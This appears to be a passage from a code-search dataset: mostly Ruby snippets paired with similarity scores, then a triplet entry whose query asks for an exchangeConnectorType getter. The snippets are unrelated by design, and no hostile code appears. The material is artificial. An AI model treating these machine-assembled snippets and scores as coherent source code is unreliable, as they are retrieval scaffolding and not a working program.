"def add_alias(event)\n assert_permissions(event) # Only the botmaster can execute this\n\n msg = event.content\n aka = parse_term(msg)\n raise OutteError.new \"You need to provide an alias in quotes.\" if aka.nil?\n\n msg.remove!(aka)\n type = !!msg[/\\blevel\\b/i] ? 'level' : (!!msg[/\\bplayer\\b/i] ? 'player' : nil)\n raise OutteError.new \"You need to provide an alias type: level, player.\" if type.nil?\n\n entry = type == 'level' ? parse_highscoreable(msg) : parse_player(msg, event.user.name)\n entry.add_alias(aka)\n event << \"Added alias \\\"#{aka}\\\" to #{type} #{entry.name}.\"\nrescue => e\n lex(e, \"Error adding alias.\", event: event)\nend",
"def alias_processing\n self.alias = Russian.translit(self.alias.strip.gsub(' ', '_').gsub(/[\\W\\d]/, '')).downcase\n end",
"def alias?(uri)\n @conf.alias?(uri)\n end",
"def store_alias(myAlias, fact)\n @bot.debug \"parsing and storing alias #{myAlias}\"\n query = config[:dbh].prepare \"SELECT id FROM aliases WHERE alias = ?\"\n query.execute myAlias\n if row = query.fetch\n query = config[:dbh].prepare \"UPDATE aliases SET original=? WHERE alias=?\";\n query.execute(fact, myAlias)\n else\n query = config[:dbh].prepare \"INSERT INTO aliases (original, alias) values(?, ?)\";\n query.execute(fact, myAlias)\n end\n return \"Aliasing #{myAlias} to #{fact}\"\n end",
"def table_alias_name(value)\n data.table_alias_name = value\n end",
"def realm_identity_provider_instances_alias_put(realm, _alias, identity_provider_representation, opts = {})\n realm_identity_provider_instances_alias_put_with_http_info(realm, _alias, identity_provider_representation, opts)\n nil\n end",
"def add_alias(aka)\n aliases << aka unless aliases.include?(aka)\n end",
"def alias(options)\n check_secret\n Util.symbolize_keys! options\n from = options[:from].to_s\n to = options[:to].to_s\n timestamp = options[:timestamp] || Time.new\n context = options[:context] || {}\n\n ensure_user from\n ensure_user to\n check_timestamp timestamp\n add_context context\n\n enqueue({\n :from => from,\n :to => to,\n :context => context,\n :timestamp => timestamp.iso8601,\n :action => 'alias'\n })\n end",
"def exchange\n\n opt('exchange') || [ 'direct', '', {} ]\n #\n # defaults to the \"default exchange\"...\n end",
"def add_alias(an_alias, context)\n new_attr = self.class.new(self.text, an_alias.new_name, self.rw,\n self.comment, self.singleton)\n\n new_attr.record_location an_alias.file\n new_attr.visibility = self.visibility\n new_attr.is_alias_for = self\n @aliases << new_attr\n context.add_attribute new_attr\n new_attr\n end",
"def set_server_name; self.name = domain; end",
"def redis_alias_key alias_name \n self.class.generate_alias_key(alias_name, to_arg)\n end",
"def admin_emoji_addAlias(options = {})\n raise ArgumentError, 'Required arguments :alias_for missing' if options[:alias_for].nil?\n raise ArgumentError, 'Required arguments :name missing' if options[:name].nil?\n post('admin.emoji.addAlias', options)\n end",
"def remove_alias(alias_name)\n $logger.info(\"Adding alias #{alias_name} to gear #{@uuid} of application #{@app.name}\")\n\n frontend = OpenShift::Runtime::FrontendHttpServer.new(OpenShift::Runtime::ApplicationContainer.from_uuid(@uuid))\n frontend.remove_alias(alias_name)\n end",
"def mailbox_aliases\n return @mailbox_aliases if @mailbox_aliases\n aliases = {\"sent\" => \"Sent Mail\",\n \"all\" => \"All Mail\",\n \"starred\" => \"Starred\",\n \"important\" => \"Important\",\n \"drafts\" => \"Drafts\",\n \"spam\" => \"Spam\",\n \"trash\" => \"Trash\"}\n @mailbox_aliases = {}\n aliases.each do |shortname, fullname|\n [ \"[Gmail]\", \"[Google Mail\" ].each do |prefix|\n if self.mailboxes.include?( \"#{prefix}/#{fullname}\" )\n @mailbox_aliases[shortname] = \"#{prefix}/#{fullname}\"\n end\n end\n end\n log \"Setting aliases to #{@mailbox_aliases.inspect}\"\n @mailbox_aliases\n end",
"def set_exchange\n @exchange = Exchange.find(params[:id])\n end",
"def set_exchange\n @exchange = Exchange.find(params[:id])\n end",
"def set_exchange\n @exchange = Exchange.find(params[:id])\n end",
"def set_exchange\n @exchange = Exchange.find(params[:id])\n end",
"def set_exchange\n @exchange = Exchange.find(params[:id])\n end",
"def set_exchange\n @exchange = Exchange.find(params[:id])\n end",
"def aliasing_hash_aliases\n @aliases ||= {}\n end",
"def exchange\n @exchange ||= Exchange.new(@channel, :direct, AMQ::Protocol::EMPTY_STRING, :key => name)\n end",
"def alias_extension(new_extension, old_extension)\n aliases[normalize_extension(new_extension)] = normalize_extension(old_extension)\n end",
"def create_users_email_alias( user_uid, _alias )\n engines_api_system.create_users_email_alias( user_uid,\n { address: \"#{_alias[:local_part]}@#{_alias[:domain]}\" } )\n end",
"def content\n \"alias #{@name}=#{@val}\"\n end",
"def set_virtual_alias\n @virtual_alias = VirtualAlias.find(params[:id])\n end",
"def host=(host)\n if host != @host\n @host = host\n @net_ldap = nil\n end\n end",
"def add_alias(an_alias)\n object_class.record_location self\n return an_alias unless @document_self\n object_class.add_alias an_alias\n end",
"def mailbox_aliases\n return @mailbox_aliases if @mailbox_aliases\n @mailbox_aliases = {}\n @default_mailbox_aliases.each do |shortname, fullname_list|\n fullname_list.each do |fullname|\n [ \"[Gmail]\", \"[Google Mail]\" ].each do |prefix|\n if self.mailboxes.include?( \"#{ prefix }/#{ fullname }\" )\n @mailbox_aliases[shortname] = \"#{ prefix }/#{ fullname }\"\n end\n end\n end\n end\n log \"Setting aliases to #{ @mailbox_aliases.inspect }\"\n @mailbox_aliases\n end",
"def alias_identity(_, new_identity)\n %(mixpanel.alias(\"#{new_identity}\");)\n end",
"def set_exchangeName (exchangeName)\n\t\texchangeMarketNames = {\"nasdaq\" => \"NMS\", \"dowjones\" => \"DJI\", \"sp\" => \"SNP\"}\n\t\texchangeMarketSymbols = {\"NMS\" => \"^IXIC\", \"DJI\" => \"^DJI\", \"SNP\" => \"^GSPC\"}\n\t\tself.exchangeName = exchangeName\n\t\tself.exchangeSymbol = exchangeMarketSymbols[exchangeMarketNames[exchangeName]]\n\tend",
"def add_alias as\n @display.print_alias as\n end",
"def site_domain_aliases\n options[:aliases]\n end",
"def alias(new, old)\n @values << new unless @values.include? new\n @aliases[new] = old\n end",
"def formatted_alias_or_alias_with_host\n alias_with_host.nil? ? VirtualHearing.formatted_alias(alias_name) : alias_with_host\n end",
"def git_alias(name,action)\n system 'git', 'config', '--global', '--replace-all', \"alias.#{name}\", action\n end",
"def agent_alias value\n\t\tself.out \"agent_alias #{value}\"\n\t\t@agent.user_agent_alias = value#'Mac Safari' \n\tend",
"def ignore_domain_alias!\n @domain = @domain.sub(/^#{AliasDomains.join('|')}$/, AliasDomains.first)\n end",
"def type_alias(alias_name)\n registered_aliases.push(String(alias_name))\n self\n end",
"def aliases\n @aliases ||= default_aliases\n end",
"def []=(key, value)\n #if the key is an alias, lookup the real key\n key = aliasing_hash_aliases[key] if aliasing_hash_aliases.include?(key)\n \n super\n end",
"def alias\n\t\tmodule_info['Alias']\n\tend",
"def build_alias(ref)\n node = Nokogiri::XML::Node.new('alias', document)\n node.ref = (Entry === ref) ? ref.id : ref.to_s\n\n add_child node\n end",
"def aliases\n @aliases ||= []\n end",
"def user_agent_alias=(name); end",
"def add_alias(name, action, args)\n\t\t\t@aliases[name] = { :action => action, :args => args }\n\t\tend",
"def hostname=(value)\n @hostname = value\n end",
"def remove_alias(gear, server_alias)\n args = build_base_gear_args(gear)\n args['--with-alias-name']=server_alias\n result = execute_direct(@@C_CONTROLLER, 'remove-alias', args)\n parse_result(result)\n end",
"def add_aliases(gear, server_aliases)\n args = build_base_gear_args(gear)\n args['--with-aliases'] = server_aliases\n result = execute_direct(@@C_CONTROLLER, 'add-aliases', args)\n parse_result(result)\n end",
"def alias(options)\n symbolize_keys! options\n\n from = options[:previous_id]\n to = options[:user_id]\n timestamp = options[:timestamp] || Time.new\n context = options[:context] || {}\n\n check_presence! from, 'previous_id'\n check_presence! to, 'user_id'\n check_timestamp! timestamp\n add_context context\n\n enqueue({\n :previousId => from,\n :userId => to,\n :integrations => options[:integrations],\n :context => context,\n :timestamp => datetime_in_iso8601(timestamp),\n :type => 'alias'\n })\n end",
"def add_alias(index, alias_name)\n post_aliases [{ :add => { :index => index, :alias => alias_name }}]\n end",
"def parse_alias(context, single, tk, comment)\n line_no = tk[:line_no]\n\n skip_tkspace\n\n if :on_lparen === peek_tk[:kind] then\n get_tk\n skip_tkspace\n end\n\n new_name = get_symbol_or_name\n\n skip_tkspace\n if :on_comma === peek_tk[:kind] then\n get_tk\n skip_tkspace\n end\n\n begin\n old_name = get_symbol_or_name\n rescue RDoc::Error\n return\n end\n\n al = RDoc::Alias.new(get_tkread, old_name, new_name, comment,\n single == SINGLE)\n record_location al\n al.line = line_no\n\n read_documentation_modifiers al, RDoc::ATTR_MODIFIERS\n context.add_alias al\n @stats.add_alias al\n\n al\n end",
"def alias_attribute(alias_name, fully_qualified_name)\n self.class_eval <<-EOF\n def #{alias_name}\n read_attribute(\"#{fully_qualified_name}\")\n end\n def #{alias_name}=(value)\n write_attribute(\"#{fully_qualified_name}\", value)\n end\n EOF\n end",
"def set_team_aliases!\n Game.each do |game|\n game.teams.where(aliases: nil).update_all(aliases: game.aliases)\n end\n end",
"def update_account_alias_by_id(account_id:, new_alias:)\n params = {\n account_id: account_id,\n new_alias: new_alias\n }\n client.make_request('/update-account-alias', 'post', params: params)\n end"
] |
[
"0.7403764",
"0.6919509",
"0.6850116",
"0.6473481",
"0.6193789",
"0.61910206",
"0.6109198",
"0.60138744",
"0.6010907",
"0.59626985",
"0.592012",
"0.5900717",
"0.5890026",
"0.58588225",
"0.58505034",
"0.5846805",
"0.57322854",
"0.57203144",
"0.56839675",
"0.5672074",
"0.5647039",
"0.5643458",
"0.56354463",
"0.55433416",
"0.550796",
"0.550796",
"0.55038357",
"0.55038357",
"0.5490334",
"0.54717636",
"0.54710287",
"0.5448167",
"0.5437091",
"0.5437091",
"0.5425361",
"0.54250646",
"0.5381741",
"0.5377512",
"0.5375495",
"0.537239",
"0.5353436",
"0.5325083",
"0.53186136",
"0.52906394",
"0.5268523",
"0.5251621",
"0.5220151",
"0.5196637",
"0.5177216",
"0.5176337",
"0.5143672",
"0.513414",
"0.5117488",
"0.51127404",
"0.5099568",
"0.50932497",
"0.50906765",
"0.50873476",
"0.5082732",
"0.50814015",
"0.50814015",
"0.50814015",
"0.50814015",
"0.50814015",
"0.50814015",
"0.5078147",
"0.5076308",
"0.5073607",
"0.5068709",
"0.5067311",
"0.5063737",
"0.5061828",
"0.5059384",
"0.50579476",
"0.5057099",
"0.5055691",
"0.50534385",
"0.5036503",
"0.5034547",
"0.5015724",
"0.49965945",
"0.49835336",
"0.4966531",
"0.49571133",
"0.49554008",
"0.49462909",
"0.4936714",
"0.49235585",
"0.49174306",
"0.49162182",
"0.4909086",
"0.49057418",
"0.4891268",
"0.48850828",
"0.48847488",
"0.48826092",
"0.48787954",
"0.487368",
"0.48730212",
"0.48678032"
] |
0.8812395
|
0
|
Gets the exchangeConnectorType property value. The type of Exchange Connector.
|
def exchange_connector_type
return @exchange_connector_type
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def exchange_connector_type=(value)\n @exchange_connector_type = value\n end",
"def connector_type\n cable.connector_types[self.end - 1]\n end",
"def connector_types\n [connector_type_1, connector_type_2]\n end",
"def set_connector_type\n @connector_type = ConnectorType.find(params[:id])\n end",
"def connector_id\n return @connector_id\n end",
"def exchange_type\n @exchange_type ||= @worker_class ? :direct : :topic\n end",
"def endpoint_type\n return @endpoint_type\n end",
"def connectable_type\n const_get(\"CONNECTABLE_TYPE\")\n end",
"def contract_type\n return @contract_type\n end",
"def catalog_type\n return @catalog_type\n end",
"def connector_server_name\n return @connector_server_name\n end",
"def relay_type\n description['RelayType']\n end",
"def type\n fetch('company.type')\n end",
"def call_type\n return @call_type\n end",
"def index\n @connector_types = ConnectorType.all\n end",
"def endpoint_type=(value)\n @endpoint_type = value\n end",
"def description\n \"#{connector_type_1.name} <-> #{connector_type_2.name}\"\n end",
"def node_type_for_relay_connection(type)\n type = type.get_field('edges').type.unwrap.get_field('node')&.type\n\n if type.nil?\n raise Gitlab::Graphql::Errors::ConnectionDefinitionError,\n 'Connection Type must conform to the Relay Cursor Connections Specification'\n end\n\n type\n end",
"def type\n @props[:type]\n end",
"def type\n movie_connection_type.connection_type\n end",
"def contract_type=(value)\n @contract_type = value\n end",
"def set_ConnectionType(value)\n set_input(\"ConnectionType\", value)\n end",
"def description\n connectors.map do |connector|\n \"#{connector.device_name} (#{connector.connector_type_name})\"\n end.join(\" <-> \")\n end",
"def type_sym\n ZMQ::SocketTypeNameMap[type].to_sym\n end",
"def connectors\n return @connectors\n end",
"def connectors\n return @connectors\n end",
"def connector_for(host, options = {})\n connector = options[:connector].to_s\n\n if !VALID_CONNECTORS.include?(connector)\n log.debug { \"Connector '#{connector}' is not one of #{VALID_CONNECTORS}. Determining connector...\" }\n connector = nil\n end\n\n if (connector == DEFAULT_WINDOWS_CONNECTOR || connector.nil?) && winrm.connector_port_open?(host, options)\n winrm\n elsif (connector == DEFAULT_LINUX_CONNECTOR || connector.nil?) && ssh.connector_port_open?(host, options)\n ssh\n else\n nil\n end\n end",
"def connector_id=(value)\n @connector_id = value\n end",
"def org_type\n\t\torg_type = organisation.organisation_type.name\n\t\treturn org_type\n\tend",
"def type\n return @type\n end",
"def type\n return @type\n end",
"def type\n return @type\n end",
"def type\n return @type\n end",
"def type\n return @type\n end",
"def type\n return @type\n end",
"def type\n return @type\n end",
"def reaction_type\n return @reaction_type\n end",
"def protocol_type\n self[:p_type].to_endian(:big)\n end",
"def call_type=(value)\n @call_type = value\n end",
"def credit_card_type\n fetch('business.credit_card_types')\n end",
"def type_c\n @type_c ||= type[1]\n end",
"def type\n @type.to_s\n end",
"def type\n self.class.type_enum_map.key(@cred_struct[:type])\n end",
"def enc_type\n hyper_schema_link.enc_type\n end",
"def type_name\n @type_name ||= determine_type_name(descriptor)\n end",
"def type\n @type.name\n end",
"def type\n TYPES[@type_id]\n end",
"def car_type\n fetch('vehicle.car_types')\n end",
"def update\n respond_to do |format|\n if @connector_type.update(connector_type_params)\n format.html { redirect_to @connector_type, notice: 'Connector type was successfully updated.' }\n format.json { render :show, status: :ok, location: @connector_type }\n else\n format.html { render :edit }\n format.json { render json: @connector_type.errors, status: :unprocessable_entity }\n end\n end\n end",
"def api_connector_configuration\n return @api_connector_configuration\n end",
"def catalog_type=(value)\n @catalog_type = value\n end",
"def get_connection_class\n get_const_by_name(connection_class)\n end",
"def chat_type\n return @chat_type\n end",
"def get_exchange_types\n exchange_types = []\n ExchangeType.where(:selectable => true).each do |et|\n exchange_types.push(et.msgid)\n end\n\n if self.exchange_types.empty? or self.exchange_types.include?('exchangetype.open_for_all_offers')\n return exchange_types\n end\n\n return exchange_types & self.exchange_types\n end",
"def type\n @type\n end",
"def type\n @type\n end",
"def type\n @type\n end",
"def type\n @type\n end",
"def type\n self.class::TYPE\n end",
"def type\n self['!']\n end",
"def type\n @type ||= self.class.name.split('::').last\n end",
"def type\n self[:type]\n end",
"def domain_type\n config[:domain_type]\n end",
"def communication_type_for_solr\n return communication_type_id\n end",
"def type\n self.class.type\n end",
"def type\n self.class.type\n end",
"def type\n self.class.type\n end",
"def schema_enum_type(db_type)\n :enum\n end",
"def activity_type\n return @activity_type\n end",
"def platform_type\n return @platform_type\n end",
"def platform_type\n return @platform_type\n end",
"def type\n fetch('computer.type')\n end",
"def workflow_execution_type\n return @workflow_execution_type\n end",
"def operator_class_name\n @operator_class_name ||=\n if operator_for(:has_many) || operator_for(:belongs_to) || operator_for(:has_one)\n\n determine_operator_class.name\n\n elsif connection_adapter_column\n connection_adapter_column.type.to_s.classify\n else\n ''\n end\n\n @operator_class_name\n end",
"def connectors=(value)\n @connectors = value\n end",
"def connectors=(value)\n @connectors = value\n end",
"def protocol_name\n self.class.to_s\n end",
"def channel_type(channel)\n type = server_type.channel_prefix[channel[0,1]]\n type ? type : :unknown\n end",
"def type\n return @type\n end",
"def type\n self.class.to_s.split('::').last.downcase.to_sym\n end",
"def connection_type; end",
"def create\n @connector_type = ConnectorType.new(connector_type_params)\n\n respond_to do |format|\n if @connector_type.save\n format.html { redirect_to @connector_type, notice: 'Connector type was successfully created.' }\n format.json { render :show, status: :created, location: @connector_type }\n else\n format.html { render :new }\n format.json { render json: @connector_type.errors, status: :unprocessable_entity }\n end\n end\n end",
"def collection_type\n components[0].to_sym rescue nil\n end",
"def type\n if self.config_path\n self.config_path.split(/\\//, 4)[3]\n else\n nil\n end\n end",
"def set_connector\n @connector = Connector.find(params[:id])\n end",
"def protocol\n @protocol ||= PuppetRubyHost::Protocols::DescribeTypeResponse::Type.new(\n name: @name,\n file: @file,\n line: @line,\n properties: @properties.map { |_, value| value.protocol },\n parameters: @parameters.map { |_, value| value.protocol }\n )\n end",
"def type\n read_attr :type, :to_sym\n end",
"def api_connector_configuration=(value)\n @api_connector_configuration = value\n end",
"def account_type\n self.class.account_type\n end",
"def response_class(endpoint)\n subject_service.rpcs[endpoint].response_type\n end",
"def ise_connector_get\n nessus_rest_get('connectors/cisco-ise')\n end",
"def type\n self.class.type\n end",
"def type\n self.class.type\n end",
"def type\n self.class.type\n end",
"def type\n self_class.to_s.to_sym\n end",
"def is_top_connector?\n TopConnector.exists? :contact_id => self.id\n end",
"def getConnectorStart()\n\t\tif @roomConnectors.length() > 0\n\t\t\treturn @roomConnectors[0][0], @roomConnectors[0][1]\n\t\telse\n\t\t\treturn false\n\t\tend\n\tend",
"def card_type\n @card_type ||= CARD_TYPES.keys.detect { |t| card_has_type?(t) }\n end",
"def node_type\n @node_type ||= client.node_types.get_from_uri(info[:node_type])\n end",
"def connector_type_params\n params.require(:connector_type).permit(:name)\n end"
] |
[
"0.8352882",
"0.73998475",
"0.66187936",
"0.6482105",
"0.5900204",
"0.5871402",
"0.58123696",
"0.5768661",
"0.55711704",
"0.5468314",
"0.54392374",
"0.534367",
"0.5337705",
"0.53279424",
"0.53108776",
"0.52762246",
"0.52299786",
"0.5171082",
"0.51051456",
"0.50920904",
"0.50916487",
"0.50904375",
"0.5077813",
"0.5062712",
"0.50516343",
"0.50516343",
"0.5045587",
"0.5040923",
"0.50100344",
"0.4985597",
"0.4985597",
"0.4985597",
"0.4985597",
"0.4985597",
"0.4985597",
"0.4985597",
"0.49828023",
"0.49557364",
"0.4945309",
"0.4943301",
"0.49186018",
"0.49096128",
"0.48968577",
"0.48685595",
"0.48682904",
"0.48609078",
"0.48547238",
"0.48370418",
"0.48235804",
"0.48051888",
"0.48003238",
"0.47988927",
"0.47785684",
"0.47768563",
"0.47682458",
"0.47679806",
"0.47679806",
"0.47679806",
"0.47629791",
"0.47539285",
"0.47506392",
"0.47466272",
"0.47400397",
"0.47380647",
"0.4734295",
"0.4734295",
"0.4734295",
"0.47334287",
"0.47311997",
"0.47294712",
"0.47294712",
"0.47263026",
"0.47251216",
"0.47230482",
"0.47226793",
"0.47226793",
"0.47221276",
"0.4718634",
"0.47170737",
"0.4711626",
"0.47059774",
"0.47033224",
"0.47007433",
"0.4700692",
"0.47006255",
"0.46948007",
"0.46871686",
"0.46831042",
"0.46823296",
"0.46716082",
"0.46695796",
"0.46687806",
"0.46687806",
"0.46687806",
"0.4661817",
"0.46585",
"0.46469182",
"0.4640118",
"0.46238595",
"0.4622139"
] |
0.85175353
|
0
|
Sets the exchangeConnectorType property value. The type of Exchange Connector.
|
def exchange_connector_type=(value)
@exchange_connector_type = value
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def set_connector_type\n @connector_type = ConnectorType.find(params[:id])\n end",
"def exchange_connector_type\n return @exchange_connector_type\n end",
"def set_ConnectionType(value)\n set_input(\"ConnectionType\", value)\n end",
"def connector_types\n [connector_type_1, connector_type_2]\n end",
"def connector_type\n cable.connector_types[self.end - 1]\n end",
"def endpoint_type=(value)\n @endpoint_type = value\n end",
"def update!(**args)\n @connector_type = args[:connector_type] if args.key?(:connector_type)\n end",
"def set_ChannelType(value)\n set_input(\"ChannelType\", value)\n end",
"def set_connector\n @connector = Connector.find(params[:id])\n end",
"def call_type=(value)\n @call_type = value\n end",
"def connectors=(value)\n @connectors = value\n end",
"def connectors=(value)\n @connectors = value\n end",
"def set_connection(type, value)\n @type = type\n @connection = value\n end",
"def update\n respond_to do |format|\n if @connector_type.update(connector_type_params)\n format.html { redirect_to @connector_type, notice: 'Connector type was successfully updated.' }\n format.json { render :show, status: :ok, location: @connector_type }\n else\n format.html { render :edit }\n format.json { render json: @connector_type.errors, status: :unprocessable_entity }\n end\n end\n end",
"def contract_type=(value)\n @contract_type = value\n end",
"def set_consumer_type\n @consumer_type = ConsumerType.find(params[:id])\n end",
"def set_type\n write_attribute(:type, Contact::Type::COMPANY)\n end",
"def connector_id=(value)\n @connector_id = value\n end",
"def cc_type=(type)\n self[:cc_type] = case type\n when 'mastercard', 'maestro' then 'master'\n when 'amex' then 'american_express'\n when 'dinersclub' then 'diners_club'\n when '' then try_type_from_number\n else type\n end\n end",
"def connector_type_params\n params.require(:connector_type).permit(:name)\n end",
"def type=(type)\n @type = type.to_sym\n end",
"def add_connector(connector)\n @connectors[connector.name] = connector\n self\n end",
"def type= (type)\n self.tweet_type = type\n end",
"def api_connector_configuration=(value)\n @api_connector_configuration = value\n end",
"def set_channel_type\n @channel_type = ChannelType.find(params[:id])\n end",
"def type=(type)\n @@type = type\n end",
"def object_type=(object_type)\n validator = EnumAttributeValidator.new('String', [\"connector.FileMessage\"])\n unless validator.valid?(object_type)\n fail ArgumentError, \"invalid value for \\\"object_type\\\", must be one of #{validator.allowable_values}.\"\n end\n @object_type = object_type\n end",
"def type=(type)\n @type = type\n\n setOption('type', @type)\n end",
"def type=(type)\n @type = type\n end",
"def setOfferType(offer_type)\n # Set the offer type based on the required test\n # This allows programme content definitions to be used for both PPV and subscription\n # offers.\n offer = @item['offer']\n offer['offerType'] = offer_type\n \n # Set the accessTerm value depending on the Subscription/PPV value\n # to ensure the correct DRM model is applied.\n if offer_type == 'Subscription'\n offer['accessTerm'] = 'CA900004'\n else\n offer['accessTerm'] = 'CA900006'\n offer['rental'] = '48'\n offer['timeToStartView'] = 'P7D'\n end \n end",
"def type=(type)\n @type = type\n end",
"def catalog_type=(value)\n @catalog_type = value\n end",
"def exchange_type\n @exchange_type ||= @worker_class ? :direct : :topic\n end",
"def create\n @connector_type = ConnectorType.new(connector_type_params)\n\n respond_to do |format|\n if @connector_type.save\n format.html { redirect_to @connector_type, notice: 'Connector type was successfully created.' }\n format.json { render :show, status: :created, location: @connector_type }\n else\n format.html { render :new }\n format.json { render json: @connector_type.errors, status: :unprocessable_entity }\n end\n end\n end",
"def set_type\n write_attribute(:type, Contact::Type::OFFICER)\n end",
"def setDisplayType(view_type)\n @view_type = view_type\n end",
"def type=(value)\n @type = value.to_sym\n end",
"def type=(value)\n @type = value\n end",
"def type=(value)\n @type = value\n end",
"def type=(value)\n @type = value\n end",
"def type=(value)\n @type = value\n end",
"def type=(value)\n @type = value\n end",
"def type=(value)\n @type = value\n end",
"def type=(value)\n @type = value\n end",
"def workflow_type=(workflow_type)\n validator = EnumAttributeValidator.new('String', [\"active_archive\", \"offline_archive\", \"data_exchange\", \"data_migration\", \"maintenance\", \"data_enrichment\"])\n unless validator.valid?(workflow_type)\n fail ArgumentError, \"invalid value for \\\"workflow_type\\\", must be one of #{validator.allowable_values}.\"\n end\n @workflow_type = workflow_type\n end",
"def setExchangeUrl(exchangeUrl)\n @exchangeUrl = exchangeUrl\n end",
"def api_connectors=(value)\n @api_connectors = value\n end",
"def type=(type)\n @type = type\n end",
"def index\n @connector_types = ConnectorType.all\n end",
"def type=(type)\n validate_type_values(type)\n @type = type\n end",
"def type=(new_type)\n @type = new_type.to_sym\n end",
"def feed_type=(new_feed_type)\n @feed_type = new_feed_type\n end",
"def type=(type)\n self['type'] = type\n end",
"def pricing_component_type=(pricing_component_type)\n validator = EnumAttributeValidator.new('String', [\"setup\", \"subscription\", \"arrears\", \"usage\"])\n unless validator.valid?(pricing_component_type)\n fail ArgumentError, \"invalid value for 'pricing_component_type', must be one of #{validator.allowable_values}.\"\n end\n @pricing_component_type = pricing_component_type\n end",
"def set_call_type\n @call_type = CallType.find(params[:id])\n end",
"def type=(val)\n @type = val.to_sym\n end",
"def set_CreditCardType(value)\n set_input(\"CreditCardType\", value)\n end",
"def set_type(val)\n self.type = val\n self\n end",
"def type=(type)\n validator = EnumAttributeValidator.new('String', [\"PricingComponent\", \"Coupon\", \"Migration\", \"AggregatedInvoice\"])\n unless validator.valid?(type)\n fail ArgumentError, \"invalid value for 'type', must be one of #{validator.allowable_values}.\"\n end\n @type = type\n end",
"def connector_server_name=(value)\n @connector_server_name = value\n end",
"def view_type=(view_type)\n if view_type.nil?\n fail ArgumentError, 'invalid value for \"view_type\", view_type cannot be nil.'\n end\n @view_type = view_type\n end",
"def type=(type)\n validator = EnumAttributeValidator.new('String', ['Shape', 'Chart', 'Table', 'PictureFrame', 'VideoFrame', 'AudioFrame', 'SmartArt', 'OleObjectFrame', 'GroupShape', 'GraphicalObject', 'Connector', 'SmartArtShape', 'ZoomFrame', 'SectionZoomFrame', 'SummaryZoomFrame', 'SummaryZoomSection'])\n unless validator.valid?(type)\n fail ArgumentError, 'invalid value for \"type\", must be one of #{validator.allowable_values}.'\n end\n @type = type\n end",
"def reaction_type=(value)\n @reaction_type = value\n end",
"def set_type sym, type\n @types[sym] = type\n end",
"def knowledge_base_link_type=(knowledge_base_link_type)\n validator = EnumAttributeValidator.new('String', [\"ServiceTicket\", \"ProjectTicket\", \"ProjectIssue\", \"KnowledgeBaseArticle\", \"Time\", \"Activity\"])\n unless validator.valid?(knowledge_base_link_type)\n fail ArgumentError, \"invalid value for 'knowledge_base_link_type', must be one of #{validator.allowable_values}.\"\n end\n @knowledge_base_link_type = knowledge_base_link_type\n end",
"def update_connector(connector_id, connector, opts = {})\n update_connector_with_http_info(connector_id, connector, opts)\n nil\n end",
"def emai_subscription_type=(emai_subscription_type)\n validator = EnumAttributeValidator.new('String', [\"FailedPayment\", \"InvoicePaid\", \"SubscriptionCancellation\", \"SubscriptionCancelled\", \"SubscriptionPlanMigrated\", \"SubscriptionPlanMigrating\", \"CardExpired\", \"CardExpiring\"])\n unless validator.valid?(emai_subscription_type)\n fail ArgumentError, \"invalid value for 'emai_subscription_type', must be one of #{validator.allowable_values}.\"\n end\n @emai_subscription_type = emai_subscription_type\n end",
"def type=(type)\n validator = EnumAttributeValidator.new('String', [\"fc-initiator\", \"fc-nvme-initiator\", \"fc-nvme-target\", \"fc-target\"])\n unless validator.valid?(type)\n fail ArgumentError, \"invalid value for \\\"type\\\", must be one of #{validator.allowable_values}.\"\n end\n @type = type\n end",
"def of_type(type)\n options[:type] = type\n self\n end",
"def chat_type=(value)\n @chat_type = value\n end",
"def set_contact_type\n @contact_type = ContactType.find(params[:id])\n end",
"def workflow_execution_type=(value)\n @workflow_execution_type = value\n end",
"def object_type=(object_type)\n validator = EnumAttributeValidator.new('String', [\"hyperflex.StorageContainer\"])\n unless validator.valid?(object_type)\n fail ArgumentError, \"invalid value for \\\"object_type\\\", must be one of #{validator.allowable_values}.\"\n end\n @object_type = object_type\n end",
"def set_RecipientType(value)\n set_input(\"RecipientType\", value)\n end",
"def set_RecipientType(value)\n set_input(\"RecipientType\", value)\n end",
"def type=(type)\n if type.nil?\n fail ArgumentError, 'invalid value for \"type\", type cannot be nil.'\n end\n @type = type\n end",
"def type=(type)\n if type.nil?\n fail ArgumentError, 'invalid value for \"type\", type cannot be nil.'\n end\n @type = type\n end",
"def type=(type)\n if type.nil?\n fail ArgumentError, 'invalid value for \"type\", type cannot be nil.'\n end\n @type = type\n end",
"def object_type=(object_type)\n validator = EnumAttributeValidator.new('String', [\"asset.DeviceContractInformation\"])\n unless validator.valid?(object_type)\n fail ArgumentError, \"invalid value for \\\"object_type\\\", must be one of #{validator.allowable_values}.\"\n end\n @object_type = object_type\n end",
"def change_type=(value)\n @change_type = value\n end",
"def set_Type(value)\n set_input(\"Type\", value)\n end",
"def set_Type(value)\n set_input(\"Type\", value)\n end",
"def app_type=(app_type)\n @app_type = app_type\n end",
"def payment_gateway_type=(type)\n gateway_setting.gateway_type = type\n end",
"def content_type=(type)\n @content_type = type\n end",
"def assignment_type=(value)\n @assignment_type = value\n end",
"def activity_type=(value)\n @activity_type = value\n end",
"def type=(type)\n validator = EnumAttributeValidator.new('String', [\"Agreement\", \"CreditMemo\", \"DownPayment\", \"Miscellaneous\", \"Progress\", \"Standard\"])\n unless validator.valid?(type)\n fail ArgumentError, \"invalid value for 'type', must be one of #{validator.allowable_values}.\"\n end\n @type = type\n end",
"def set_catalog_contract_type\n @catalog_contract_type = Catalog::ContractType.find(params[:id])\n end",
"def destroy\n @connector_type.destroy\n respond_to do |format|\n format.html { redirect_to connector_types_url, notice: 'Connector type was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def sslcerttype=(value)\n Curl.set_option(:sslcerttype, value_for(value, :string), handle)\n end",
"def object_type=(object_type)\n validator = EnumAttributeValidator.new('String', [\"license.LicenseInfo\"])\n unless validator.valid?(object_type)\n fail ArgumentError, \"invalid value for \\\"object_type\\\", must be one of #{validator.allowable_values}.\"\n end\n @object_type = object_type\n end",
"def set_contract_type\n @contract_type = ContractType.find(params[:id])\n end",
"def type=(type)\n validator = EnumAttributeValidator.new('String', ['string', 'number', 'boolean', 'date', 'address', 'country', 'email', 'url', 'image', 'signature', 'barcode', 'combined'])\n unless validator.valid?(type)\n fail ArgumentError, 'invalid value for \"type\", must be one of #{validator.allowable_values}.'\n end\n @type = type\n end",
"def set_type_company\n @type_company = TypeCompany.find(params[:id])\n end",
